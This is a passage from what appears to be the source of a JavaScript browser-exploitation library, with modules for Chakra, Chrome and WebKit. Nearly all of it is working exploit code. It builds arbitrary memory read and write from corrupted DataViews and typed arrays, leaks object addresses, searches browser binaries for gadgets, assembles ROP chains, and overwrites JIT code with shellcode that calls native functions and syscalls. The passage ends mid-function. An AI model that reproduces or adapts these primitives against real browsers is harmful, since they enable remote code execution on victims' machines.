p = this.globalListFirst[0]; 107 | for (var i = 0;; i++) { 108 | if ((p[i] & 0xffff) == 0xc000) { 109 | break; 110 | } 111 | } 112 | this.threadContextStackLimit = i; 113 | // initialize LoadLibraryExW and GetProcAddress 114 | var p = this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load()); 115 | this.LoadLibraryExW = new this.PointerType(this.Uint8Ptr).cast(p).load(); 116 | var p = this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load()); 117 | this.GetProcAddress = new this.PointerType(this.Uint8Ptr).cast(p).load(); 118 | // initialize stackTop 119 | this.findStackTop(); 120 | // initialize support for fast addressOf 121 | this.locateArray = [{}]; 122 | this.locateArrayPtr = new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3); 123 | if (!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0])) { 124 | throw 'init of addressOf failed!' 125 | } 126 | } 127 | /** 128 | * Returns the address of a Javascript object. 129 | * 130 | * @param {*} obj Any Javascript object 131 | * @returns {Pointer} 132 | */ 133 | ChakraExploit.prototype.addressOf = function (obj) { 134 | this.locateArray[0] = obj; 135 | return this.locateArrayPtr[0]; 136 | } 137 | /** 138 | * Returns the address of ArrayBuffer contents. 139 | * 140 | * @param {ArrayBuffer} ab ArrayBuffer 141 | * @returns {Pointer} 142 | */ 143 | ChakraExploit.prototype.addressOfArrayBuffer = function (ab) { 144 | var dv = new DataView(ab); 145 | var p = this.Uint64Ptr.cast(this.addressOf(dv)); 146 | return p[7]; 147 | } 148 | ChakraExploit.prototype.findStackTop = function () { 149 | if (this.stackTop === undefined) { 150 | // Default stack size of browser tab 151 | // 10 MB 152 | // Default stack size of web worker 153 | // 1 MB 154 | if ('undefined' !== typeof WorkerGlobalScope) { 155 | var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; 156 | var stackSize = 1 * 1024 * 1024; 157 | } else { 158 | var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; 159 | var stackSize = 10 * 1024 * 1024; 160 | } 161 | var stackTop = stackLimit.sub(0xc000).add(stackSize); 162 | this.stackTop = stackTop; 163 | } 164 | } 165 | /** 166 | * Returns the address of a Javascript object. Internal. 167 | * 168 | * @param {*} obj Any Javascript object 169 | * @returns {Pointer} 170 | */ 171 | ChakraExploit.prototype.addressOfSlow = function (obj) { 172 | var address; 173 | eval('String.prototype.slice').call('', { 174 | valueOf: () => { 175 | var gadgets = this.gadgets; 176 | var stk = this.Uint64Ptr.cast(this.stackTop).add(-1); 177 | while (!this.Uint64.cast(gadgets.entrySlice).eq(stk.load())) { 178 | stk = stk.add(-1); 179 | if (stk.address <= this.stackTop.sub(0x10000)) { 180 | throw 'unable to find entrySlice'; 181 | } 182 | } 183 | while (!this.Uint64.cast(gadgets.amd64CallFunction).add(this.amd64CallFunctionReturnOffset).eq(stk.load())) { 184 | stk = stk.add(1); 185 | if (stk.address >= this.stackTop) { 186 | throw 'unable to find amd64CallFunction'; 187 | } 188 | } 189 | while (!stk[0].eq(new Integer(0x42424242, 0x10000)) || !stk[2].eq(new Integer(0x41414141, 0x10000))) { 190 | stk = stk.add(1); 191 | if (stk.address >= this.stackTop) { 192 | throw 'unable to find canaries'; 193 | } 194 | } 195 | address = this.Uint8Ptr.cast(stk[1]); 196 | } 197 | }, 0, 0, 0, obj, 0x42424242, obj, 0x41414141); 198 | return address; 199 | } 200 | ChakraExploit.prototype.customInt32Array = function (address) { 201 | var i32 = new Int32Array(1); 202 | var p = this.Uint64Ptr.cast(this.addressOf(i32)); 203 | p[4] = 0x7FFFFFFF; 204 | p[7] = address; 205 | return i32; 206 | } 207 | /** 208 | * Call a function pointer with the given arguments. Used internally by FunctionPointer. 209 | * 210 | * @param {Integer} address 211 | * @param {...Integer} args 212 | * @returns {Integer} 213 | */ 214 | ChakraExploit.prototype.call = function (address, ...args) { 215 | if (args.length > 10) { 216 | throw 'too many arguments'; 217 | } 218 | var returnValAddr; 219 | eval('String.prototype.slice').call('', { 220 | valueOf: () => { 221 | var gadgets = this.gadgets; 222 | var amd64CallFunction = this.Uint64.cast(gadgets.amd64CallFunction).add(this.amd64CallFunctionReturnOffset); 223 | var entrySlice = this.Uint64.cast(gadgets.entrySlice); 224 | var stackBottom = this.stackTop.sub(0x10000); 225 | var stk = this.customInt32Array(stackBottom); 226 | for (var i = 0x10000 / 8 - 8; i >= 0; i -= 1) { 227 | if (entrySlice.low == stk[i*2] && entrySlice.high == stk[i*2+1]) { 228 | break; 229 | } 230 | } 231 | if (i == 0) { 232 | throw 'unable to find entrySlice'; 233 | } 234 | while (amd64CallFunction.low != stk[i*2] || amd64CallFunction.high != stk[i*2+1]) { 235 | i++; 236 | if (i == 0x10000 / 8) { 237 | throw 'unable to find amd64CallFunction'; 238 | } 239 | } 240 | var stk = this.Uint64Ptr.cast(stackBottom.add(i * 8)); 241 | var savedRbpAddr = stk.add(-2); 242 | stk = stk.add(-0x20000 / 8); 243 | var i32 = this.customInt32Array(stk); 244 | // probe stack 245 | for (var i = 0x20; i >= 0; i--) { 246 | let x = i32[i * 0x1000 / 4]; 247 | } 248 | // helper for writing Uint64 to Int32Array 249 | function write64(i32, i, val) { 250 | if (val.address) { 251 | val = val.address; 252 | } else { 253 | val = Integer.fromValue(val); 254 | } 255 | i32[i * 2 + 0] = val.low; 256 | i32[i * 2 + 1] = val.high; 257 | } 258 | // ROP chain 259 | // skip saved rbp, rdi, rsi, rbx 260 | i = 4; 261 | write64(i32, i, gadgets.popRaxReturn); 262 | i++; 263 | write64(i32, i, gadgets.addRsp28Return); 264 | i++; 265 | write64(i32, i, gadgets.popRcxRdxR8R9Return); 266 | i++; 267 | // unused 268 | i++; 269 | if (args[0] !== undefined) 270 | write64(i32, i, args[0]); // rcx 271 | i++; 272 | if (args[1] !== undefined) 273 | write64(i32, i, args[1]); // rdx 274 | i++; 275 | if (args[2] !== undefined) 276 | write64(i32, i, args[2]); // r8 277 | i++; 278 | if (args[3] !== undefined) 279 | write64(i32, i, args[3]); // r9 280 | i++; 281 | write64(i32, i, gadgets.nopReturn); // fix stack alignment 282 | i++; 283 | write64(i32, i, address); 284 | i++; 285 | write64(i32, i, gadgets.addRsp58Return); 286 | i++; 287 | i += 4; // skip 0x20 shadow space 288 | if (args[4] !== undefined) 289 | write64(i32, i, args[4]); 290 | i++; 291 | if (args[5] !== undefined) 292 | write64(i32, i, args[5]); 293 | i++; 294 | if (args[6] !== undefined) 295 | write64(i32, i, args[6]); 296 | i++; 297 | if (args[7] !== undefined) 298 | write64(i32, i, args[7]); 299 | i++; 300 | if (args[8] !== undefined) 301 | write64(i32, i, args[8]); 302 | i++; 303 | if (args[9] !== undefined) 304 | write64(i32, i, args[9]); 305 | i++; 306 | if (args[10] !== undefined) 307 | write64(i32, i, args[10]); 308 | i++; 309 | write64(i32, i, gadgets.popRdxReturn); 310 | i++; 311 | write64(i32, i, stk); 312 | i++; 313 | write64(i32, i, gadgets.storeRaxAtRdxReturn); 314 | i++; 315 | write64(i32, i, gadgets.popRaxReturn); 316 | i++; 317 | write64(i32, i, new Integer(0, 0x40000)); 318 | i++; 319 | write64(i32, i, gadgets.popRbpReturn); 320 | i++; 321 | write64(i32, i, savedRbpAddr.load()); 322 | i++; 323 | write64(i32, i, gadgets.popRspReturn); 324 | i++; 325 | write64(i32, i, savedRbpAddr.add(2)); 326 | i++; 327 | savedRbpAddr[0] = stk; 328 | returnValAddr = stk; 329 | } 330 | }); 331 | return returnValAddr[0]; 332 | } 333 | 334 | export default ChakraExploit; 335 | -------------------------------------------------------------------------------- /src/chakrathreadexploit.js: -------------------------------------------------------------------------------- 1 | import ChakraExploit from "chakraexploit"; 2 | import Integer from "integer"; 3 | 4 | /** 5 | * Constructs an exploit class for a worker script. Used in concert with {@link ChakraExploit#Thread} to support multithreading. 6 | * 7 | * @augments ChakraExploit 8 | * @class 9 | * @constructor 10 | */ 11 | function ChakraThreadExploit() { 12 | ChakraExploit.call(this); 13 | 14 | var dvManager = new DataView(new ArrayBuffer(0x1000)); 15 | var dvWorker = new DataView(new ArrayBuffer(0x1000)); 16 | this.dvWorker = dvWorker; 17 | this.dvManager = dvManager; 18 | 19 | eval('String.prototype.slice').call('', { 20 | valueOf: function () { 21 | postMessage('CHAKRA_EXPLOIT'); 22 | while (dvWorker.getInt32(0) == 0) {}; 23 | } 24 | }, 0, 0, 0, 0, 0x41424344, dvWorker, dvManager, 0x41414141); 25 | 26 | var vtable = new Integer(dvManager.getInt32(0, true), dvManager.getInt32(4, true)); 27 | this.vtable = vtable; 28 | this.chakraBase = this.findModuleBase(vtable); 29 | this.initChakra(vtable); 30 | } 31 | ChakraThreadExploit.prototype = Object.create(ChakraExploit.prototype); 32 | ChakraThreadExploit.prototype.constructor = ChakraThreadExploit; 33 | /** 34 | * Arbitrary memory read using corrupted DataView. 35 | * 36 | * @param {Integer} address Memory address 37 | * @param {integer} size Bit size 38 | * @returns {Integer} 39 | */ 40 | ChakraThreadExploit.prototype.read = function (address, size) { 41 | this.dvManager.setInt32(7 * 8, address.low, true); 42 | this.dvManager.setInt32(7 * 8 + 4, address.high, true); 43 | 44 | switch (size) { 45 | case 8: return new Integer(this.dvWorker.getInt8(0, true), 0, true); 46 | case 16: return new Integer(this.dvWorker.getInt16(0, true), 0, true); 47 | case 32: return new Integer(this.dvWorker.getInt32(0, true), 0, true); 48 | case 64: return new Integer(this.dvWorker.getInt32(0, true), this.dvWorker.getInt32(4, true), true); 49 | } 50 | } 51 | /** 52 | * Arbitrary memory write using corrupted DataView. 53 | * 54 | * @param {Integer} address Memory address 55 | * @param {Integer} value Value to write 56 | * @param {integer} size Bit size 57 | */ 58 | ChakraThreadExploit.prototype.write = function (address, value, size) { 59 | this.dvManager.setInt32(7 * 8, address.low, true); 60 | this.dvManager.setInt32(7 * 8 + 4, address.high, true); 61 | 62 | switch (size) { 63 | case 8: return this.dvWorker.setInt8(0, value.low|0, true); 64 | case 16: return this.dvWorker.setInt16(0, value.low|0, true); 65 | case 32: return this.dvWorker.setInt32(0, value.low|0, true); 66 | case 64: 67 | this.dvWorker.setInt32(0, value.low|0, true); 68 | this.dvWorker.setInt32(4, value.high|0, true); 69 | } 70 | } 71 | 72 | export default ChakraThreadExploit; 73 | -------------------------------------------------------------------------------- /src/chromeexploit.js: -------------------------------------------------------------------------------- 1 | import BaseExploit from "baseexploit"; 2 | import Integer from "integer"; 3 | 4 | /** 5 | * Constructs an exploit with sensible defaults for Chrome. Child must call initChrome method once read and write methods are available. 6 | * 7 | * @augments BaseExploit 8 | * @class 9 | * @constructor 10 | */ 11 | function ChromeExploit() { 12 | var exploit = this; 13 | BaseExploit.call(this, 64); 14 | } 15 | ChromeExploit.prototype = Object.create(BaseExploit.prototype); 16 | ChromeExploit.prototype.constructor = ChromeExploit; 17 | /** 18 | * Initializes Chrome helpers using memory read and write. 19 | * 20 | * @param {Integer|Pointer} vtable Any address in the chrome DLL 21 | */ 22 | ChromeExploit.prototype.initChrome = function (vtable) { 23 | this.chromeBase = this.findModuleBase(vtable); 24 | 25 | /* Create a Function with a large amount of JIT code. */ 26 | var source = ''; 27 | for (var i = 0; i < 1000; i++) { 28 | source += 'x[' + i + '] += ' + Math.random() + ';\n'; 29 | } 30 | this.jitFunction = new Function('x', source); 31 | var arr = new Array(1000).fill(0); 32 | for (var i = 0; i < 10000; i++) { 33 | this.jitFunction(arr); 34 | } 35 | 36 | /* Find g_main_thread_stack_start via code pattern matching. */ 37 | var gadgets = [ 38 | ['loadLibraryGetProcAddress', [0x48, 0x8D, 0x0D, -1, -1, -1, -1, 0xFF, 0x15, -1, -1, -1, -1, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x0F, 0x84, -1, -1, -1, -1, 0x48, 0x8D, 0x15, -1, -1, -1, -1, 0x48, 0x8B, 0xC8, 0xFF, 0x15, -1, -1, -1, -1]], 39 | ['mainThreadStack', [0x48, 0x8B, 0x05, -1, -1, -1, -1, 0x48, 0x8D, 0x4C, 0x24, -1, 0x48, 0x2B, 0xC1, 0x48, 0x8D, 0x1D, -1, -1, -1, -1, 0x48, 0x3B, 0x05, -1, -1, -1, -1]], 40 | ]; 41 | this.gadgets = this.findGadgets(this.chromeBase, gadgets); 42 | this.mainThreadStackBase = new this.PointerType(this.Uint64Ptr).cast( 43 | this.Uint64.cast(this.gadgets.mainThreadStack).add(7).add( 44 | this.Int32Ptr.cast(this.gadgets.mainThreadStack.add(3))[0]) 45 | )[0]; 46 | this.LoadLibraryW = new this.PointerType(this.Uint64Ptr).cast( 47 | this.Uint64.cast(this.gadgets.loadLibraryGetProcAddress).add(13).add( 48 | this.Int32Ptr.cast(this.gadgets.loadLibraryGetProcAddress.add(9))[0]) 49 | )[0]; 50 | this.GetProcAddress = new this.PointerType(this.Uint64Ptr).cast( 51 | this.Uint64.cast(this.gadgets.loadLibraryGetProcAddress).add(41).add( 52 | this.Int32Ptr.cast(this.gadgets.loadLibraryGetProcAddress.add(37))[0]) 53 | )[0]; 54 | } 55 | /** 56 | * Returns the address of a Javascript object. 57 | * 58 | * @param {*} obj Any Javascript object 59 | * @returns {Pointer} 60 | */ 61 | ChromeExploit.prototype.addressOf = function (obj) { 62 | /* TODO: Implement faster version using a predefined Array. */ 63 | var arr = [obj]; 64 | return this.Uint64Ptr.cast(this.Uint64Ptr.cast(this.addressOfSlow(arr))[2].sub(1))[2].sub(1); 65 | } 66 | /** 67 | * Returns the address of ArrayBuffer contents. 68 | * 69 | * @param {ArrayBuffer} ab ArrayBuffer 70 | * @returns {Pointer} 71 | */ 72 | ChromeExploit.prototype.addressOfArrayBuffer = function (ab) { 73 | var p = this.Uint64Ptr.cast(this.addressOf(ab)); 74 | return p[4]; 75 | } 76 | /** 77 | * Returns the address of a Javascript object. Internal. 78 | * 79 | * @param {*} obj Any Javascript object 80 | * @returns {Pointer} 81 | */ 82 | ChromeExploit.prototype.addressOfSlow = function (obj) { 83 | var address; 84 | var canary1 = 0x13371338, canary2 = 0x1339133a, mainThreadStackBase = this.mainThreadStackBase; 85 | obj.toString = function() { 86 | /* Search stack for canary values. */ 87 | for (var i = 0; i > -0x1000; i--) 88 | { 89 | if (mainThreadStackBase[i - 2].high == canary2 && mainThreadStackBase[i - 1].high == canary1) 90 | { 91 | address = mainThreadStackBase[i].sub(1); 92 | break; 93 | } 94 | } 95 | return ''; 96 | }; 97 | String.prototype.indexOf.call(obj, canary1, canary2); 98 | return address; 99 | } 100 | /** 101 | * Call a function pointer with the given arguments. Used internally by FunctionPointer. 102 | * 103 | * @param {Integer} address 104 | * @param {...Integer} args 105 | * @returns {Integer} 106 | */ 107 | ChromeExploit.prototype.call = function (address, ...args) { 108 | var self = this; 109 | function validObjectAddress(x) { 110 | return x.high <= 0x7FFF && (x.low & 7) == 1; 111 | } 112 | function addRspImm8(p, imm) { 113 | p[0] = 0x48; 114 | p[1] = 0x83; 115 | p[2] = 0xc4; 116 | p[3] = imm; 117 | return p.add(4); 118 | } 119 | function callRax(p) { 120 | p[0] = 0xff; 121 | p[1] = 0xd0; 122 | return p.add(2); 123 | } 124 | function movRaxImm64(p, imm) { 125 | p[0] = 0x48; 126 | p[1] = 0xb8; 127 | self.Uint64Ptr.cast(p.add(2))[0] = imm; 128 | return p.add(10); 129 | } 130 | function movRcxImm64(p, imm) { 131 | p[0] = 0x48; 132 | p[1] = 0xb9; 133 | self.Uint64Ptr.cast(p.add(2))[0] = imm; 134 | return p.add(10); 135 | } 136 | function movRdxImm64(p, imm) { 137 | p[0] = 0x48; 138 | p[1] = 0xba; 139 | self.Uint64Ptr.cast(p.add(2))[0] = imm; 140 | return p.add(10); 141 | } 142 | function movR8Imm64(p, imm) { 143 | p[0] = 0x49; 144 | p[1] = 0xb8; 145 | self.Uint64Ptr.cast(p.add(2))[0] = imm; 146 | return p.add(10); 147 | } 148 | function movR9Imm64(p, imm) { 149 | p[0] = 0x49; 150 | p[1] = 0xb9; 151 | self.Uint64Ptr.cast(p.add(2))[0] = imm; 152 | return p.add(10); 153 | } 154 | function pushRax(p) { 155 | p[0] = 0x50; 156 | return p.add(1); 157 | } 158 | function storeRax(p, dst) { 159 | p[0] = 0x48; 160 | p[1] = 0xa3; 161 | self.Uint64Ptr.cast(p.add(2))[0] = dst; 162 | return p.add(10); 163 | } 164 | function prologue(p) { 165 | /* push rbp */ 166 | p[0] = 0x55; 167 | p[1] = 0x48; 168 | /* mov rbp, rsp */ 169 | p[2] = 0x89; 170 | p[3] = 0xe5; 171 | /* and rsp, ~0xf */ 172 | p[4] = 0x48; 173 | p[5] = 0x83; 174 | p[6] = 0xe4; 175 | p[7] = 0xf0; 176 | return p.add(8); 177 | } 178 | function epilogue(p) { 179 | p[0] = 0xc9; 180 | p[1] = 0xc3; 181 | return p.add(2); 182 | } 183 | function jmp(p, offset) { 184 | p[0] = 0xe9; 185 | self.Int32Ptr.cast(p.add(1))[0] = offset; 186 | return p.add(5); 187 | } 188 | 189 | var codeObject = this.Uint64Ptr.cast(this.Uint64Ptr.cast(this.addressOf(this.jitFunction))[7].sub(1)); 190 | if (validObjectAddress(codeObject[0]) && validObjectAddress(codeObject[1]) && 191 | validObjectAddress(codeObject[2]) && validObjectAddress(codeObject[3])) { 192 | /* In newer versions of Chrome, function object points to the code header. */ 193 | var jitCode = this.Uint8Ptr.cast(codeObject).add(0x60); 194 | } else { 195 | /* In older versions of Chrome, function object points to the JIT code. */ 196 | var jitCode = this.Uint8Ptr.cast(codeObject); 197 | } 198 | var returnValAddress = this.Uint64Ptr.cast(jitCode.add(0x200)); 199 | 200 | /* Keep the stack aligned by pushing an even number of stack arguments. */ 201 | if (args.length > 4 && (args.length & 1)) { 202 | args.push(0); 203 | } 204 | 205 | var p = jitCode; 206 | /* Jump over code with heap pointers that get used during GC. */ 207 | p = jmp(p, 0x1000).add(0x1000); 208 | /* Overwrite the JIT code with shellcode to load arguments and call function. */ 209 | p = prologue(p); 210 | for (var i = args.length - 1; i >= 0; i--) { 211 | if (i == 0) { 212 | p = movRcxImm64(p, args[i]); 213 | } else if (i == 1) { 214 | p = movRdxImm64(p, args[i]); 215 | } else if (i == 2) { 216 | p = movR8Imm64(p, args[i]); 217 | } else if (i == 3) { 218 | p = movR9Imm64(p, args[i]); 219 | } else { 220 | p = movRaxImm64(p, args[i]); 221 | p = pushRax(p); 222 | } 223 | } 224 | p = addRspImm8(p, -0x20); 225 | p = movRaxImm64(p, address); 226 | p = callRax(p); 227 | p = addRspImm8(p, 0x20); 228 | p = storeRax(p, returnValAddress); 229 | p = epilogue(p); 230 | 231 | /* Call the JIT code. */ 232 | this.jitFunction(); 233 | 234 | /* Retrieve the return value. */ 235 | return returnValAddress[0]; 236 | } 237 | 238 | export default ChromeExploit; 239 | -------------------------------------------------------------------------------- /src/index.js: -------------------------------------------------------------------------------- 1 | import BaseExploit from "baseexploit"; 2 | import ChakraExploit from "chakraexploit"; 3 | import ChakraThreadExploit from "chakrathreadexploit"; 4 | import ChromeExploit from "chromeexploit"; 5 | import WebkitExploit from "webkitexploit"; 6 | import Integer from "integer"; 7 | 8 | export { 9 | BaseExploit, 10 | ChakraExploit, 11 | ChakraThreadExploit, 12 | ChromeExploit, 13 | WebkitExploit, 14 | Integer 15 | }; 16 | -------------------------------------------------------------------------------- /src/webkitexploit.js: -------------------------------------------------------------------------------- 1 | import BaseExploit from "baseexploit"; 2 | import Integer from "integer"; 3 | 4 | /** 5 | * Constructs an exploit with sensible defaults for Webkit. Child must call initChrome method with a successfully an object that's successfully misaligned. 6 | * 7 | * @augments BaseExploit 8 | * @class 9 | * @constructor 10 | */ 11 | function WebkitExploit() { 12 | var exploit = this; 13 | BaseExploit.call(this, 64); 14 | 15 | this.broughtToYouBy = 'Externalist'; 16 | this.nogc = [] 17 | this.pressure = new Array(100); 18 | this.master = new Uint32Array(0x1000); 19 | this.slave = new Uint32Array(0x1000); 20 | this.leakval_u32 = new Uint32Array(0x1000); 21 | this.leakval_helper = [this.slave, 2, 3, 4, 5, 6, 7, 8, 9, 10]; 22 | this.misalign_object = {'a':this.u2d(2048, 0x602300), 'b':this.u2d(0,0), 'c':this.leakval_helper, 'd':this.u2d(0x1337,0)}; 23 | this.butterfly = 0; 24 | this.addr_to_slavebuf = 0; 25 | 26 | function makeid() { 27 | var text = ""; 28 | var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 29 | 30 | for (var i = 0; i < 8; i++) 31 | text += possible.charAt(Math.floor(Math.random() * possible.length)); 32 | 33 | return text; 34 | }; 35 | 36 | this.instancespr = []; 37 | for (var i = 0; i < 4096; i++) { 38 | this.instancespr[i] = new Uint32Array(1); 39 | this.instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */ 40 | } 41 | } 42 | WebkitExploit.prototype = Object.create(BaseExploit.prototype); 43 | WebkitExploit.prototype.constructor = WebkitExploit; 44 | 45 | // In case you want to invoke the Garbage Collector 46 | WebkitExploit.prototype.dgc = function(){ 47 | for (var i = 0; i < this.pressure.length; i++) { 48 | this.pressure[i] = new Uint32Array(0x10000); 49 | } 50 | } 51 | 52 | // Convert Uint64 into an equivalent Floating Point representation 53 | WebkitExploit.prototype.u2d = function(low, hi) { 54 | var _dview = new DataView(new ArrayBuffer(16)); 55 | _dview.setUint32(0, hi); 56 | _dview.setUint32(4, low); 57 | return _dview.getFloat64(0); 58 | } 59 | 60 | // The inverse of the above 61 | WebkitExploit.prototype.d2u = function(d) { 62 | var _dview = new DataView(new ArrayBuffer(16)); 63 | _dview.setFloat64(0, d); 64 | return { lo: _dview.getUint32(4), hi: _dview.getUint32(0) }; 65 | } 66 | 67 | // Be careful when using this. Looping intensively could summon the GC 68 | WebkitExploit.prototype.sleep = function(milliseconds) { 69 | var start = new Date().getTime(); 70 | while (new Date().getTime() < start + milliseconds); 71 | } 72 | 73 | /** 74 | * Initializes Webkit helpers using memory read and write. 75 | * 76 | * @param {Integer|Pointer} fake_object A successfully misaligned object 77 | */ 78 | WebkitExploit.prototype.initWebkit = function(fake_object) { 79 | this.misalign_object.c = this.leakval_helper; 80 | this.butterfly = new Integer(fake_object[2], fake_object[3], true); 81 | 82 | this.misalign_object.c = this.leakval_u32; 83 | var lkv_u32_old = new Integer(fake_object[4], fake_object[5], true); 84 | fake_object[4] = this.butterfly.low; 85 | fake_object[5] = this.butterfly.high; 86 | 87 | this.misalign_object.c = this.master; 88 | fake_object[4] = this.leakval_u32[0]; 89 | fake_object[5] = this.leakval_u32[1]; 90 | 91 | this.addr_to_slavebuf = new Integer(this.master[4], this.master[5], true); 92 | this.misalign_object.c = this.leakval_u32; 93 | fake_object[4] = lkv_u32_old.low; 94 | fake_object[5] = lkv_u32_old.high; 95 | 96 | // Don't let GC ruin the party :) 97 | fake_object = 0; 98 | this.misalign_object.c = 0; 99 | 100 | // Get the JIT code address from a function object 101 | var trycatch = ""; 102 | for(var z=0; z<0x2000; z++) trycatch += "try{} catch(e){}; "; 103 | this.fc = new Function(trycatch); 104 | for(var z=0; z<1000; z++) { // Don't loop too excessively, otherwise FTL will kick in and wipe out the address from the object and start to hardcode call destinations 105 | this.fc(); 106 | } 107 | this.jitCode = this.Uint8Ptr.cast(this.Uint64Ptr.cast(this.Uint64Ptr.cast(this.Uint64Ptr.cast(this.addressOf(this.fc))[3])[3])[2]); // These indexs may change slightly from version to version. I remember one being 3-2-2 on a different version. It'd be better to implement a hueristic logic but whatever... :D 108 | 109 | // Get the JavaScriptCore library base address. I could have gone further all the way down to the dyld_shared_cache base but 'shared_region_check_np' has got me covered so I stop here :) 110 | var parseFloatAddress = this.Uint64Ptr.cast(this.Uint64Ptr.cast(this.addressOf(parseFloat))[3])[7].and(new Integer(0xFFF, 0, true).not()); 111 | while(this.read(parseFloatAddress, 32) != 0xfeedfacf) { 112 | parseFloatAddress = parseFloatAddress.sub(0x1000); 113 | } 114 | this.javaScriptCoreBase = parseFloatAddress; 115 | 116 | var gadgets = [ 117 | ['return', [ 0xC3 ]], 118 | // ['syscallReturn', [ 0x0F, 0x05, 0xC3 ]] // Couldn't find this or anything similar in JavaScriptCore 119 | ]; 120 | this.gadgets = this.findGadgetsCustom(this.javaScriptCoreBase, gadgets); 121 | } 122 | 123 | // The findGadgets in the baseexploit.js only works for PE files. Therefore I reimplement it here(just a mere 3 line change). I didn't really want to touch the already well functioning basicexploit.js 124 | WebkitExploit.prototype.findGadgetsCustom = function (module, query) { 125 | var p = this.Uint8Ptr.cast(module); 126 | var codeSize = 0x10000; // Just hardcoded this into 0x10000 for now. We'd have to parse the mach-o header and walk each segment load command to get the text section addr & size but I was too sleepy at the moment 127 | var array = new Int32Array(codeSize / 4); 128 | var address = p.address.add(0x1000); 129 | for (var i = 0x1000; i < codeSize; i += 8) { 130 | var x = this.read(address, 64); 131 | array[i / 4] = x.low; 132 | array[i / 4 + 1] = x.high; 133 | address.low += 8; 134 | if ((address.low|0) == 0) { 135 | address.high += 1; 136 | } 137 | } 138 | 139 | var byteArray = new Uint8Array(array.buffer); 140 | var gadgets = {}; 141 | query.forEach((gadget) => { 142 | var name = gadget[0], bytes = gadget[1]; 143 | var idx = 0; 144 | while (true) { 145 | idx = byteArray.indexOf(bytes[0], idx); 146 | if (idx < 0) { 147 | throw 'missing gadget ' + name; 148 | } 149 | for (var j = 1; j < bytes.length; j++) { 150 | if (bytes[j] >= 0 && byteArray[idx + j] != bytes[j]) { 151 | break; 152 | } 153 | } 154 | if (j == bytes.length) { 155 | break; 156 | } 157 | idx++; 158 | } 159 | gadgets[name] = p.add(idx); 160 | }); 161 | return gadgets; 162 | } 163 | 164 | // The arbitrary read function 165 | WebkitExploit.prototype.read = function (address, size) { 166 | this.master[4] = address.low; 167 | this.master[5] = address.high; 168 | 169 | var rtv = new Integer(this.slave[0], this.slave[1], true, size); 170 | 171 | this.master[4] = this.addr_to_slavebuf.low; 172 | this.master[5] = this.addr_to_slavebuf.high; 173 | 174 | return rtv; 175 | } 176 | 177 | // The arbitrary write function 178 | WebkitExploit.prototype.write = function (address, value, size) { 179 | this.master[4] = address.low; 180 | this.master[5] = address.high; 181 | 182 | switch (size) { 183 | case 8 : this.slave[0] = (this.slave[0] & 0xFFFFFF00) + (value.low & 0xFF); 184 | case 16: this.slave[0] = (this.slave[0] & 0xFFFF0000) + (value.low & 0xFFFF); 185 | case 32: this.slave[0] = value.low | 0; 186 | case 64: this.slave[0] = value.low; 187 | this.slave[1] = value.high; 188 | } 189 | 190 | this.master[4] = this.addr_to_slavebuf.low; 191 | this.master[5] = this.addr_to_slavebuf.high; 192 | } 193 | 194 | /** 195 | * Returns the address of a Javascript object. 196 | * 197 | * @param {*} obj Any Javascript object 198 | * @returns {Pointer} 199 | */ 200 | WebkitExploit.prototype.addressOf = function (obj) { 201 | this.leakval_helper[0] = obj; 202 | var rtv = this.read(this.butterfly, 64); 203 | this.write(this.butterfly, new Integer(0x41414141, 0xffff0000, true), 64); 204 | 205 | return rtv; 206 | } 207 | 208 | /** 209 | * Creates a fake Javascript object that lies in the address 'fakeObjectAddr' 210 | * 211 | * @param {*} fakeObjectAddr Address of a fake Javascript object 212 | * @returns {JSObject} 213 | */ 214 | WebkitExploit.prototype.createFakeObject = function (fakeObjectAddr) { 215 | this.write(this.butterfly, fakeObjectAddr); 216 | var rt = this.leakval_helper[0]; 217 | this.write(this.butterfly, new int64(0x41414141, 0xffff0000, true)); 218 | return rt; 219 | } 220 | 221 | /** 222 | * Returns the address of ArrayBuffer contents. 223 | * 224 | * @param {ArrayBuffer} ab ArrayBuffer 225 | * @returns {Pointer} 226 | */ 227 | WebkitExploit.prototype.addressOfArrayBuffer = function (ab) { 228 | var p = this.Uint64Ptr.cast(this.addressOf(ab)); 229 | return p[2]; 230 | } 231 | 232 | // Not really needed as of now. Just leaving an empty function here in case a need rises in the future 233 | /** 234 | * Returns the address of a Javascript object. Internal. 235 | * 236 | * @param {*} obj Any Javascript object 237 | * @returns {Pointer} 238 | */ 239 | WebkitExploit.prototype.addressOfSlow = function (obj) { 240 | 241 | } 242 | 243 | // Fow now, the max cap of argument counts is 6. 244 | /** 245 | * Call a function pointer with the given arguments. Used internally by FunctionPointer. 246 | * 247 | * @param {Integer} address 248 | * @param {...Integer} args 249 | * @returns {Integer} 250 | */ 251 | WebkitExploit.prototype.call = function (address, ...args) { 252 | var slack_space_size = 0x1000; 253 | var syscall_number_opcode = [], call_opcode = []; 254 | 255 | if(address.syscallNumber == null){ 256 | call_opcode = [ 257 | 0x48, 0xBB, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // mov rbx, [marker] 258 | 0xFF, 0xD3 // call rbx 259 | ]; 260 | } 261 | else{ 262 | syscall_number_opcode = [ 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00 ]; 263 | syscall_number_opcode[3] = ((address.syscallNumber & 0x000000FF) >> 0) & 0xFF; 264 | syscall_number_opcode[4] = ((address.syscallNumber & 0x0000FF00) >> 8) & 0xFF; 265 | syscall_number_opcode[5] = ((address.syscallNumber & 0x00FF0000) >> 16) & 0xFF; 266 | syscall_number_opcode[6] = ((address.syscallNumber & 0xFF000000) >> 24) & 0xFF; 267 | call_opcode = [ 0x0F, 0x05 ]; // syscall 268 | } 269 | 270 | var buf_jmp = new Uint8Array(syscall_number_opcode.concat([ 271 | // 0xCC, // Test breakpoint 272 | 0x55, // push rbp 273 | 0x48, 0x89, 0xE5, // mov rbp, rsp 274 | 0x48, 0x83, 0xEC, 0x20, // sub rsp,0x20 275 | 